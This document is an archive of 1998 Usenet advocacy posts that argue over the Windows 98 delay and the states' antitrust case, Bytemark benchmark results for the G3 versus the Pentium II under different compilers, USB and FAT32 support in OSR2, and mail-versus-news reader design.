>>In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
>>(Bich Hoang) wrote:
>>
>>> : Now, MS claims it is not a monopoly, yet, delaying one of its products
>>> : has the "potential" to hurt business for roughly 2.2 MILLION+ people?
>>>
>>> Well, It could hurt Business but not so much with homeholds.
>>> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
>>> Why?
>>
>>Because these guys have decided to market vaporware on a promise that the
>>product will be delivered. IMHO, this guys fucked themselves. As to the
>>point of hurting business, what CRAP. The only businesses that are hurt
>
>>are the one s marketing it befroe its release.
>
>Peter, should they have waited until after the release before talking about
>it? Before marketing it? Before spending money to develop promotions?
They're in the software industry, they really SHOULD
know better.
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 15:34:52 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6ipvus$s9i@shelob.afs.com>
References: <6ipuoa$606$4@strato.ultra.net>
"John Saunders" <jws@jws.ultranet.com> writes
> If I can't go to the store and buy it, then for me and for most
> consumers, it doesn't exist. I would be able to buy Windows 98.
> I've been reading that the USB hardware vendors have been waiting
> for a Windows 98 as a platform for their hardware before making a
> big marketing push.
This is a complete red herring. Either your (new) computer has USB on
the backplane, or it doesn't. If it does -- like my new Presario 2240,
which arrived with OSR2 -- then the supplied operating system supports
it. Can you imagine anything else? Why would you put a port on the back
of a computer that was "not yet" supported by the OS?
So I guess the argument for harm comes down to companies that make
add-in USB cards for older computers. Certainly those who make USB
*attachments* could start marketing to people like me right now. Though
frankly I still don't understand what all the USB fuss is about anyway.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
Date: Wed, 06 May 1998 10:23:05 -0500
From: djboccip@hiwaay.net (Dr. Dennis J. Boccippio)
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Message-ID: <djboccip-0605981023060001@tnt3-132.hiwaay.net>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
In article <6iovd2$f0c$2@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
>
> What is the problem with Apples claims? Up untill a couple of weeks ago, if
> you went to bytes page, the executable you download was compiled with
> codewarrior. This gave a score of 5.56 for int, 4.65 for fp. IF you used
> codewarrior 1 and compiled it yourself with no optimizations, you got even
> lower, 4.66 int, 3.54 fp. Note this was still faster than a p2 300. So a
> fair byte shows g3's are faster, tho not by what apple claims.
>
> Like I said, these were the binaries that were up till a couple of weeks ago.
> For a couple of months, even macadvocates have states that Apple's claims
> are preety much fabrications, people with g3's were running the byte test and
> getting a score of 5 or 6 rather than 9. So oddly enough, the binaries are
> removed, and the binary apple used is now on the byte page. And the byte faq
> says the same binaries have been used for the last 2 years, yet the ppc
> binaries were JUST changed, instead of codewarrior and something else (I
> forget) its now motorola 3.0 developer release??
>
> And Apple did tweak the binaries themselves, they admitted so after the first
> g3 is twice as fast ad.
Evidence for tweaking?
> At the bottom of the page it stated the p2 scores
> were conducted by byte, and the g3 scores were taken by apple engineers in
> apples labs. After I saw complaints that no one could match apples scores,
> I checked the web page, and strangely enough the truth was gone :(
> Now what would we say, if one day the p2 binary was replaced with a binary
> that instead of giving a p2 300 a score of 5, gave it a score of 9? ANd we
> saw that it was compiled with another compiler? I would think that intel had
> tweaked the binary for their favor, and made it invalid. And how valid is
> bytemarks if one compiler gives a score of 4.6, and another of 9.1, for the
> same computer? And what did apple do for Byte to make them remove the
> binaries that gave a score of 4.6 on a g3 266 with a binary that suddenly
> gets 9.1? Motorola 3.0 compiler isnt even available to the public. I will
> most definitely be sending some emails to byte, this is very very VERY FISHY.
>
> If I had a g3, I would compile the byte source in codewarrior . And I
> wonder how APple got byte to use the binary apple's engineers tweaked in
> apples lab (remember Apple's web page originally stated the g3 tests were
> done BY APple.
>
OK, here's some hard numbers, and some proper background. I've used
CodeWarrior Pro R3, MrC 3.0 (the compiler Apple supposedly "tweaked",
which was released in 3/97, months before G3 hit the market), and
the Byte binaries from about a month ago, which were _still_ mcc, don't
know what rev. Look at the numbers below - there's no way the old
Byte binaries were CodeWarrior. Maybe the source code package was
a CW project, but not the binaries.
Before the numbers, some general conclusions. First, the Byte binaries
are _not_ Apple's MrC. Rather, they're even more "aggressive optimizers"
than even MrC, outside of Bitfield. Apple's compiler with optimization
levels comparable to CodeWarrior yields comparable Bytemark results;
mcc yields distinctly higher results. Since MrC and CodeWarrior are
the compilers most likely used in most commercial app development,
they are certainly more relevant to look at than mcc. And guess what?
They still show G3/300 outperforming or comparable with PII/400 in most
tests.
Second, MrC's "aggressive optimization" in Bitfield arises solely from the
"unroll loops" optimization option. Disable that and you get
results comparable to CodeWarrior, so no need to chuck MrC results
completely. [see below]
Third, and somewhat amusingly, completely unoptimized MrC shows about half
the performance of completely unoptimized CodeWarrior. But since we
all agree that even Watcom had _some_ level of optimization going on,
these results don't belong in the final comparison.
OK, now the base systems. The Mac is my G3/300, 1 MB L2 cache, 160 MB
RAM, LibMotoSh installed, 6 GB IDE hard drive. The PII/400 scores are
averages of two full results I've found on the web (within 1% of each
other); if anyone has other results please let me know. I do recall
that the the PII/400 was a fully "loaded" (not RAM deficient, etc)
system. They were the Byte binaries, and hence Watcom with some level
of optimization. Reports in this newsgroup suggest that using VisC++
with full optimization yields 30% improvements; in lieu of actuall
Vis C++ scores on PII/400's, I emulate these results by taking 1.3*Watcom.
The CodeWarrior is Pro R3. The MrC is 3.0.1f1c12, the last stable release
from 3/97. It is run as a plugin compiler under CodeWarrior. The Byte
was downloaded about a month ago, at which time it was claimed to be
mcc (don't know which version).
The runs:
"CW NoOpt" = CodeWarrior, no optimization.
"CW OptNoIS" = CodeWarrior, full optimization, no instruction scheduling
"CW Opt603e" = CodeWarrior, full optimization, 603e instruction scheduling
"CW Opt604e" = CodeWarrior, full optimization, 604e instruction scheduling
"MrC NoOpt" = MrC, no optimization, no instruction scheduling
"MrC Opt1" = MrC, various subsets of optimization, no unroll loops, 603e
"MrC Opt2" = MrC, various subsets of optimization, no unroll loops, 603e
"MrC Unroll" = MrC, var optimization, do unroll loops, 603e
"Byte" = mcc binaries from the time of the Snail Ad
"Watcom" = Watcom compiler
"VisC++*" = emulated VisC++ improvement; = 1.3*Watcom
(I do the last two just to get a reasonable _range_ of values on PII)
Note the 3 MrC runs are not progressively "more optimized". Indeed,
I haven't run MrC with all the stops pulled.
The numbers:
NUM STR BIT FPE FOUR ASSN IDEA HUFF NNET LUD
CW NoOpt 3.37 4.98 6.83 5.03 6.24 6.58 4.60 5.13 3.07 3.46
CW OptNoIS 4.22 5.13 7.68 7.52 6.47 8.26 7.16 5.91 4.80 4.66
CW Opt604e 4.53 5.13 7.89 9.20 6.56 8.25 7.73 5.95 4.86 5.13
CW Opt603e 4.50 5.13 8.54 9.00 6.56 8.26 7.83 5.91 5.02 5.49
MrC NoOpt 1.29 3.66 1.36 2.02 5.83 4.28 2.40 2.14 1.36 1.58
MrC Opt1 4.29 5.51 7.38 7.00 6.42 9.93 8.01 6.70 6.09 6.29
MrC Opt2 4.35 5.44 9.09 7.08 6.42 10.28 8.22 6.99 6.33 7.31
MrC UnRoll 4.32 5.63 1052.5 7.28 6.42 10.46 8.00 6.71 7.06 7.10
Byte 4.61 7.28 28.84 12.71 7.33 9.78 9.32 10.71 6.44 6.02
Watcom 4.29 5.07 7.58 3.48 5.07 8.16 5.21 6.79 6.97
VisC++* 5.57 6.59 9.85 4.52 6.59 10.61 6.77 8.83 9.06
Note I lost the numbers for the PII/400 under LUD, sorry. Anyone with
numbers please email or post them, thanks.
Note also that I am highly skeptical that the "30% VisC++" adjustment
can be applied across the board like this, given the different impacts
of CW/MrC optimizations on different tests, but no Wintellians have
coughed up detailed scores, so I'll just go ahead and be generous.
Graphically, below. One character "space" = 0.2 score units. Unoptimized
runs not included, since we have no unoptimized runs on PII.
C=CodeWarrior, M=MrC, B=mcc, W=Watcom, V=VisC++*. Longer is better.
NUM
---
G3| MCB
P2| W-----V
STR
---
G3| C-MM-------B
P2| W------V
BIT
---
G3| M-CC--C--M--------------...(B)...(M)
P2| W-----------V
FPE
---
G3| MMC-------CC-----------------B
P2| W----V
FOUR
----
G3| C---B
P2| W------V
ASS
---
G3| C------BM-MM
P2| W------------V
IDEA
----
G3| C--CCMM----B
P2| W------V
HUFF
----
G3| C---MM---------------B
P2| W----------V
NN
--
G3| CC----MMB--M
P2| W----------V
LUD
---
(need PII/400 scores)
The ranges above are somewhat like "error bars", they indicate something
about how reliable the comparison is likely to be. My eyeball estimate
is that from NUM, STR, BIT, ASS and HUFF we can not reliably make
any claims about P2/400 vs G3/300, beyond that they seem roughly comparable.
FPE and IDEA clearly show a G3 win, FOUR somewhat favors G3, and NN
somewhat is likely a P2 win.
Composite-wise, my guess is that the results would overall (ignoring
crazy bitfield scores) show a modest G3 win, however, not likely to
be the 30% needed to get the same price/performance as a PII
(earlier threads noted that comparably loaded G3/300s were 1.3 times
as costly as Dell PII/400s. Look them up - I refuse to get dragged
into that argument again).
Note of course these scores have no relevance to the Snail Ad, which
was for G3/266 and PII/300.
- Dennis
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ _/
_/ Work (205)-922-5909 Fax (205)-922-5723 _/
_/ mailto:Dennis.Boccippio@msfc.nasa.gov _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/ DSS/Diffie-Hellman PGP Public Key at: pgpkeys.mit.edu _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 11:41:23 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iq0uv$kkh$3@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <35504438.5BBF58B5@lawson-philpot.com>
Ed Lawson wrote in message <35504438.5BBF58B5@lawson-philpot.com>...
>John Saunders wrote:
>
>> You can't (legally) buy OSR2 for an existing machine. If you have an
>> existing machine and you want some of these features, then you need
Windows
>> 98.
>
>Consider the implications of this.
>
>Ed Lawson
I did.
Ed, go get a copy of the Hardware Compatibility List for Windows 95. That's
the set of hardware Microsoft has to test for Windows 98, and then some. A
very similar list would have to be tested if they had released the
components of OSR2 as a retail upgrade, especially since many of those
components are related to hardware.
Do you feel they should be required to do this level of testing? If so, they
would probably not issue the retail upgrade - too few people would want it
compared to the amount of money MS would have to spend on testing.
On the other hand, they can release OSR2 to the OEMs because the OEMs are
going to test it! And the OEMs shipping it are exactly the ones who are
shipping the hardware which requires OSR2. That's much less expensive for
Microsoft.
Thanks,
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 11:21:49 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iq0ur$kkh$1@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net>
Joe Ragosta wrote in message ...
>In article <6iooms$clv$1@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
>> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
>> >John Saunders <jws@jws.ultranet.com> wrote:
>> >
>> >->Would the vendors of USB peripherals be hurt if there is no mainstream
>> >->operating system that supports USB?
>> >
>> >Umm, Windows95 supports USB (as does Linux...)
>> >
>> I don't think so... Please provide confirmation of this. USB is being
talked
>> up as new in Windows 98. Maybe you mean that OSR2 supports USB?
>
>That's correct.
>
>>
>> >->Would consumers who want to upgrade their existing systems by adding
>> large
>> >->hard disks be impacted by the lack of FAT32 support in Win95-retail?
>> >
>> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
>>
>>
>> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
>> FAT32 (with no convert utility), but my old Gateway 486 does not. If I
want
>> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows
98.
>
>Absolutely true.
>
>But have you ever wondered why only OEMs can get OSR 2.1 which supports
>FAT-32? Perhaps an "encouragement" to get you to ugrade your hardware?
>
Perhaps. But I think it's more likely because the new hardware the OEMs were
shipping had larger disks which required the features of FAT32. Also, the
OEMs are shipping a set of hardware the OEMs will have to test anyway.
Consumers have a much larger set of hardware that MS would have to test. I
suspect that would have made a "Windows 95 SP1" too expensive for Microsoft.
>> If "DOJ and the State Extortionists General have their way" is true, then
>
>Actually, it's the industry which is extorting from you. You want FAT-32?
>You've got to buy new hardware--even though the current Win95 OEM release
>supports it. There's really not that much other difference between Win98
>and Win95 OSR2.1.
>
If true, that makes two extortionists, and that doesn't make it right.
>>
>> Windows 98 will be tied up in the courts for a year or two, thus
>>
>> Companies other than Microsoft will be hurt
>>
>> Did I skip any steps?
>
>Yes. The Attorney Generals have reason to believe that MS broke the law.
>They are doing their jobs.
>
Why have I never before heard of:
1) States bringing anti-trust cases. Isn't that usually something the
Federal Government does?
2) States ganging up to extort money.
I admit I'll be more pleased if the states do not pull a "Tobacco
Settlement" sort of thing, and instead go for a simple (hah!) anti-trust
case and bring it to court. That would suggest they think they're "just
doing their jobs". Instead, I remain convinced that, in the light of their
experience with the Tobacco Settlement, they're going to go for the money
and simply _threaten_ Microsoft with a years-long court battle if they don't
pay up. That's not "just doing their jobs", that's doing the job of
organized crime.
>>
>>
>> An old principal of free speech applies here as well.
>>
>> Freedom of speech is intended to protect those we most hate. In the
process,
>> it protects the rest of us.
>>
>> If we allow the states to arbitrarily harrass any company they want to,
then
>> pretty soon they'll be harrassing you.
>
>Except that the states aren't "arbitrarily harrassing any company they
>want to". They have reason to believe the law is being broken.
Then let them bring it to trial.
But Joe, it doesn't take 13 states to bring a case to trial. Which state
will hold this trial, Joe? The answer is "none" because they have no
interest in a trial, only in the threat of a trial.
My State Attourney General, Scott Harshbarger, has run for Governor before,
and no doubt will again. It's much easier to be elected Governor or Senator
if you can talk about the money you've brought into the state. It's even
easier if you can show clips of yourself standing at the podium with the
other AGs behind you, perhaps even with quotes from the other AGs about how
you were instrumental in making the deal.
Thanks,
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 11:36:52 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6iq0uu$kkh$2@strato.ultra.net>
References: <6ioon5$clv$3@ligarius.ultra.net> <6ipr2h$rtj@shelob.afs.com>
Gregory H. Anderson wrote in message <6ipr2h$rtj@shelob.afs.com>...
>"John Saunders" <jws@jws.ultranet.com> writes
>> I'm going to point out to you that you just fell into the trap the
>> States laid for you. Because you hate the Tobacco companies, you're
>> willing to allow the states to act the way they did, ganging up on a
>> set of companies to extort money from them. Now, it seems you're
>> willing to do the same to Microsoft. Where do you draw the line?
>> Can the states harrass, extort from, or destroy anyone the public
>> hates? Be careful you don't wind up on the wrong end of that gun.
>
>You've been smoking something other than tobacco if you honestly believe
>that is the crux of the States' argument. It's not a question of public
>*hatred*, it's a question of reclaiming money that health and welfare
>agencies paid to care for people who were misled since adolescence --
>according to tobacco companies' own suppressed internal documents --
>into believing that smoking was not addictive, and not harmful to their
>health.
Gregory,
They got you. They really fooled you. You bought it. I pity you.
Gregory, I'm a former smoker. I started when I was 13 or so. Most of my
friends did, too.
Gregory, no tobacco company every communicated to us that tobacco is not
addictive! Nobody told us it didn't cause cancer! When my grandmother died
of cancer, I knew damn well it was due to unfiltered Camels! I kept smoking
anyway!
Someone once said, "Never attribute to malice that which is accounted for by
stupidity" (or something like that). I didn't smoke because I was duped by
the tobacco companies, I smoked because I damn well wanted to. I quit
because I wanted to as well. Three times! :-)
And if our public health agencies don't have the sense to not pay for
self-inflicted illness, then I blame you (and I), and not tobacco companies
duping us. We kept electing the people who wrote the laws that
compassionately threw away our money to help people take longer to die from
self-inflicted wounds.
Now, as a matter of public policy, that's probably the right thing to do! We
want to be a compassionate society. We want to relieve suffering wherever we
can (though we seem to be a bit ambivalent about euthanasia...). But if we
want to spend the money, let's be honest about it.
Gregory, the states went after the tobacco companies because of their deep
pockets and negative public perceptions. The states sugar-coated it by
talking about the nasty, evil tobacco companies, seducing our children,
etc., etc. The tobacco companies of course, made it worse due to their total
lack of credibility. But this wasn't about good vs. evil. It was about
extortion.
If the states proceed against Microsoft, it will be the same. They will be
able to talk about all the nasty things Microsoft is alleged to have done,
all the harm they're alleged to have caused, and the bottom line will be
money and reelection prospects. Not the law.
John Saunders
jws@jws.ultranet.com
Date: Wed, 06 May 1998 12:56:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0605981256510001@wil103.dol.net>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172> <6iolmn$7sm$1@news.digifix.com> <joe.ragosta-0605980738140001@wil124.dol.net> <6iptuk$4f3$3@ironhorse.plsys.co.uk> <3550819D.42C0@CONVEX.COM>
In article <3550819D.42C0@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> mmalcolm crawford wrote:
>
> > > Remember that CS only takes a tiny corner of the screen when you're not
> > > using it. OR, if you don't like it at all, you can turn it off. That seems
> > > like it should remove most complaints.
> > >
> > That seems fair -- how do you switch it off?
>
> [Working from memory]
>
> Control Panels->Extensions Manager
>
> Click "Control Strip" so that it's not checked.
>
> Reboot.
Not quite.
Open the "Control Strip" control panel (in the Control Panels folder, natch).
You have 3 choices--show control strip, hide control strip, or hot-key to
toggle control strip.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <geordie-0505981708370001@130.130.117.53> <6ip7uq$oum$8@ns3.vrx.net>
Message-ID: <35508ab1.0@news.depaul.edu>
Date: 6 May 98 16:07:13 GMT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <geordie-0505981708370001@130.130.117.53> Geordie Korper claimed:
> > Mail News
> >
> > little categorization highly categorized
> > rarely threaded mostly threaded
> > low volume high volume
> > mostly signal mostly noise
> > high priority low priority
> All issues of contents within the RCF-822 message body.
Uh, no. These are user interface issues, based entirely on
the way people use the stuff in the message body. It can
be a blurry distinction, though, since a private local
newsgroup can be similar to a mailing list.
A (vaguely) similar scenario is UI's for image editing and
image thumbnailing tools. Photoshop isn't going to be
a very good UI for use as a thumbnail-browsing application.
Likewise, a thumbnail-browsing UI won't be ideal for
image editing. The data (contents within the TIFF file body)
is the same.
--
"... and subpoenas for all." - Ken Starr
From: ttammi@netlife.fi (ttammi)
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Wed, 06 May 1998 16:51:16 GMT
Organization: None
Message-ID: <35549253.6456795@news.netlife.fi>
References: <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <B1741506-62A7C3@141.214.128.36>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
"Robert A. Decker" <comrade@umich.edu> wrote:
>Maybe you should think about investing your money in a Nintendo instead
>of a computer...
Go to rec.autos.simulators, flight simulator, adventure or strategy
newsgroups sometime to see how many people there are talking about
their Nintendos.
Ignorance is a bliss.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6in3ed$825$1@news.cmc.net> <6imm78$nkm$3@ns3.vrx.net> <EsI7zE.9nA@basil.icce.dev.rug.null.nl>
Message-ID: <35508cff.0@news.depaul.edu>
Date: 6 May 98 16:17:03 GMT
Tom Hageman <tom@basil.icce.dev.rug.null.nl> wrote:
>To each his own. The times I tried a newsreader with separate newsgroups,
>article and message windows (yes, on NEXTSTEP! I don't remember whether
>it was NewsFlash or HNNews(?)) it drove me batty.
Same here. Especially if each article you click on gets its own window.
Ick. Too much needless work, managing all those windows whose contents
I probably won't want for more than a few moments.
Then again, I also hate it when MacOS or Windows are set up to
always create new Finder/Explorer windows.
--
"... and subpoenas for all." - Ken Starr
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8lw3a.1br6d9716oa6kgN@roxboro0-062.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Wed, 06 May 1998 16:20:50 GMT
NNTP-Posting-Date: Wed, 06 May 1998 09:20:50 PDT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> John Moreno claimed:
> > Mail, private. News, public.
>
> Amil lists are which? How about moderated newsgroups?
Amil list? :)
Mailing list are similar to a private club (unless they are gatewayed to
a regular newsgroup) -- semi-private, semi-public.
Moderated newsgroups, are no different from unmoderated in this context.
What you say (if it gets by the moderator) is publicly available and
will be archived and all of the rest.
As I said the real difference is recipients - with news upwords of half
a billion people have the opportunity to read what you say, and that
will probably continue going up. With mail it's a very limited set of
people (usually limited to just one in fact).
> > This produces different methods of handling each when they are received,
> > Mails get's filtered and possibly dumped into the relevant
> > folder/mailbox/whatever
>
> At home one of the newsreaders I use does exactly this for news as well.
I'd have to see it to understand - at the moment it doesn't seem likely,
news is already pre-categorized. Being able to hang on to it and
individually reassign it can be useful (I do that for skimming the good
stuff out of rec.humor).
Also, and I guess I didn't make this clear in any of my other messages -
I don't have a personal problem with the idea of a integrated app. Just
with the current implementations that I've seen, and with the caveat
that any such beast absolutely MUST keep clear that there are some
differences, which IMO can best be done by using separate commands for
the different ways of starting a reply (New Post/New Mail,
Reply/Followup).
Hell, at the moment I'm using YA-NewsWatcher 3.1.2 by way of a perl/AS
script to reply to ALL of my mail messages, and am using MacSOUP to read
the various mailing list that I subscribe to.
--
John Moreno
Date: Wed, 06 May 1998 21:49:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605982149530001@elk107.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net> <joe.ragosta-0605981319480001@wil103.dol.net> <6ir1j8$s1s$3@ligarius.ultra.net>
In article <6ir1j8$s1s$3@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joe Ragosta wrote in message ...
> >In article <6ipuo9$606$3@strato.ultra.net>, "John Saunders"
> ><jws@jws.ultranet.com> wrote:
> >
> >> And what happens when the laws are bad ones? Or have unpleasant
> >> side-effects? Nothing, usually. We don't elect people to fix unpleasant
> >> side-effects, so the rarely get fixed.
> >
> >That's true--some times.
> >
>
>
> I know I'm getting to be the old cynic, but can you show me a case of a bad
> law getting fixed? I bet it was a law that a lot of people thought was
> _really_ bad, not a law that simply caught some people falling between the
> cracks.
Well, we could discuss Prohibition and the repeal thereof.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: HFS+ (was: Re: Mail.app)
Date: 6 May 1998 22:35:28 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ir6lg$fbr$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6io47l$hqj$1@new-news.cc.brandeis.edu> <6ip8jm$oum$11@ns3.vrx.net> <1d8m82r.r8y65x7j6wwyN@[10.0.0.2]>
In article <1d8m82r.r8y65x7j6wwyN@[10.0.0.2]>, miba@image.dk (Michael Balle) wrote:
> One of the features of the HFS+ file system, besides 255 unicode
> filenames, is the ability to add custom file attributes. MacOS 8.1
> doesn't allow you take advantage of these new features, but I expect
> Rhapsody to start taking advantage of the new HFS+ features.
Anyone know how HFS+ performance compares to the traditional FFS that
OPENSTEP uses? I'm wondering which I'd rather use. What are the
drawbacks (if any) to HFS+?
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 21:20:13 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir7p2$nt$2@ligarius.ultra.net>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com>
Gregory H. Anderson wrote in message <6ipvus$s9i@shelob.afs.com>...
>"John Saunders" <jws@jws.ultranet.com> writes
>> If I can't go to the store and buy it, then for me and for most
>> consumers, it doesn't exist. I would be able to buy Windows 98.
>> I've been reading that the USB hardware vendors have been waiting
>> for a Windows 98 as a platform for their hardware before making a
>> big marketing push.
>
>This is a complete red herring. Either your (new) computer has USB on
>the backplane, or it doesn't. If it does -- like my new Presario 2240,
>which arrived with OSR2 -- then the supplied operating system supports
>it. Can you imagine anything else? Why would you put a port on the back
>of a computer that was "not yet" supported by the OS?
>
Gregory,
I mentioned USB mostly because of what I read in the papers - that USB
vendors have been waiting for Windows 98 to exist before beginning their
push to launch their products. I have no clue how many newer machines
support USB. I know my laptop does not, but I also know it can use a dock
which does.
I also suspect there will be add-on cards to add USB support. There might
even be PCMCIA cards?
There is also the question of the breadth of the present USB offerings vs.
